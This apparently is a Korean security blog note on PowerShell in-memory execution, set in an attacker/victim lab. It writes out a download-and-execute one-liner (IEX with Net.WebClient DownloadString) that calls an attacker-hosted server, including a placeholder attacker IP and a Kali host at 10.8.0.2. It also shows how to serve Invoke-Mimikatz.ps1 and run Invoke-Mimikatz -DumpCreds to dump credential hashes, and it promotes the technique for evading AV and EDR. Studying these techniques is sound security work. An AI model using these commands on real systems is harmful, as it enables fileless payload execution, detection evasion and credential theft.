BLOG
Tracefield · 02
Tracefield · 01
블로그 · 14
Vibe Audit · 04
Vibe Audit · 03
Vibe Audit · 02
Vibe Audit · 01
출판편집자 · 01
StudyTree · 01
SecurityOps · 02
SecurityOps · 01
AI챗봇 · 04
AI챗봇 · 03
AI챗봇 · 02
AI챗봇 · 01
퍼플심 · 04
퍼플심 · 03
퍼플심 · 02
퍼플심 · 01
블로그 · 13
rootscan · 07
rootscan · 06
블로그 · 12
블로그 · 11
블로그 · 10
블로그 · 09
블로그 · 08
블로그 · 07
블로그 · 06
블로그 · 05
블로그 · 04
블로그 · 03
블로그 · 02
블로그 · 01
rootscan · 05
rootscan · 04
rootscan · 03
asmspeak · 03
asmspeak · 02
rootscan · 02
asmspeak · 01
rootscan · 01
웹보안도구 · 02
웹보안도구 · 01
루트캠프 · 02
루트캠프 · 01
All notes 167
파워쉘 심화
1. 개요(Overview)
파워쉘(PowerShell)에서 자주 언급되는 고급 활용 중 하나가 인메모리 실행(In-Memory Execution)이다. 악성 스크립트나 도구를 디스크에 저장하지 않고, 메모리에서 바로 로드해 실행할 수 있다.
- 장점: 파일 시스템에 흔적(Artifact)을 남기지 않아 AV(Anti-Virus)나 EDR 솔루션의 탐지를 우회할 확률이 높다.
- 핵심:
.NET프레임워크의 기능을 활용하여 원격지의 코드를 문자열로 가져온 후 실행한다.
2. 인메모리 실행 방법(Method)
IEX (Invoke-Expression)
- 문자열을 명령어로 인식하여 실행하는 Cmdlet.
IEX와Net.WebClient를 조합하여 원격 스크립트를 실행한다.
Net.WebClient
.NET프레임워크의 클래스로, 웹 리소스를 다운로드할 수 있다.DownloadString메서드를 사용하여 스크립트 내용을 문자열(String) 형태로 메모리에 가져온다.
명령어 구조
IEX (New-Object Net.WebClient).DownloadString('http://[공격자IP]/[악성스크립트.ps1]')
New-Object Net.WebClient: 웹 클라이언트 객체 생성..DownloadString(...): 지정된 URL의 스크립트 소스를 문자열로 다운로드.IEX (...): 다운로드된 문자열 코드를 즉시 실행(Load).
3. 실습 예시(Example)
시나리오
공격자(Kali, 10.8.0.2)가 Invoke-Mimikatz.ps1을 호스팅하고, 피해자(Windows)가 이를 메모리에서 실행해 자격 증명(Credential)을 탈취하는 흐름이다.
-
공격자(Kali): 웹 서버 실행
python3 -m http.server 80 # Invoke-Mimikatz.ps1 파일이 있는 경로에서 실행 -
피해자(Windows): 파워쉘에서 인메모리 로드
IEX (New-Object Net.WebClient).DownloadString('http://10.8.0.2/Invoke-Mimikatz.ps1')- 실행 후 아무런 출력이 없더라도, 스크립트 내의 함수가 메모리에 로드된 상태다.
-
함수 실행:
Invoke-Mimikatz -DumpCreds- 로드된
Invoke-Mimikatz함수를 호출하여 메모리 상의 비밀번호 해시 등을 추출한다.
- 로드된
4. 함수 확인 및 도움말
외부 스크립트를 로드한 후, 어떤 함수를 쓸 수 있는지 모를 때는 Get-Help를 활용한다.
- 도움말 확인:
Get-Help Invoke-Mimikatz -Detailed Get-Help Invoke-Mimikatz -Examples- 스크립트 제작자가 작성한 주석 기반의 도움말을 볼 수 있어 사용법 파악에 유용하다.

